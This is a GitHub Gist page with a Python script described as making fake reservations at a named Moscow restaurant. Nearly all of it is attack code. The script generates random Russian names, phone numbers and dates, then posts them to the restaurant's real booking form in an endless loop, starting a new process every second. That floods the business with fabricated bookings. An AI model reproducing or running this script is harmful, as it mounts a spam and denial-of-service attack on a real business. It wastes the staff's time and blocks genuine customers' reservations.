Last active
October 10, 2018 19:06
-
-
Save bvn13/df4f12b1ddefe163a8240db4806a5c89 to your computer and use it in GitHub Desktop.
Make a fake reservation into Moscow Triumph Hall restaurant
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/python | |
# from: https://pikabu.ru/story/bitva_za_besplatnuyu_gorodskuyu_parkovku_6206986 | |
import calendar | |
import time | |
from multiprocessing import Process | |
from random import randint, choice | |
import datetime | |
import requests | |
now = datetime.datetime.now() | |
def random_digits_phone(n): | |
range_start = 10 ** (n - 1) | |
range_end = (10 ** n) - 1 | |
return randint(range_start, range_end) | |
def random_name(): | |
data_json = requests.get('http://uinames.com/api/?region=russia').json() | |
return '{} {}'.format(data_json.get('name'), data_json.get('surname')) | |
def random_date(): | |
global now | |
dates = calendar.Calendar().itermonthdates(now.year, now.month) | |
return choice([date for date in dates if date.month == 10 and date.day > now.day]) | |
def pukanus_zapekanus(): | |
name = random_name() | |
phone = '{} {}-{}'.format('+7 (965)', random_digits_phone(3), random_digits_phone(4)) | |
date = random_date() | |
resp = requests.post( | |
'https://triumph-hall.ru/?success=Y', | |
data={ | |
'name': name, | |
'phone': phone, | |
'date': date | |
} | |
) | |
print(name, phone, date) | |
print(resp.status_code, resp.reason) | |
while True: | |
proc = Process(target=pukanus_zapekanus) | |
proc.start() | |
time.sleep(1) |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment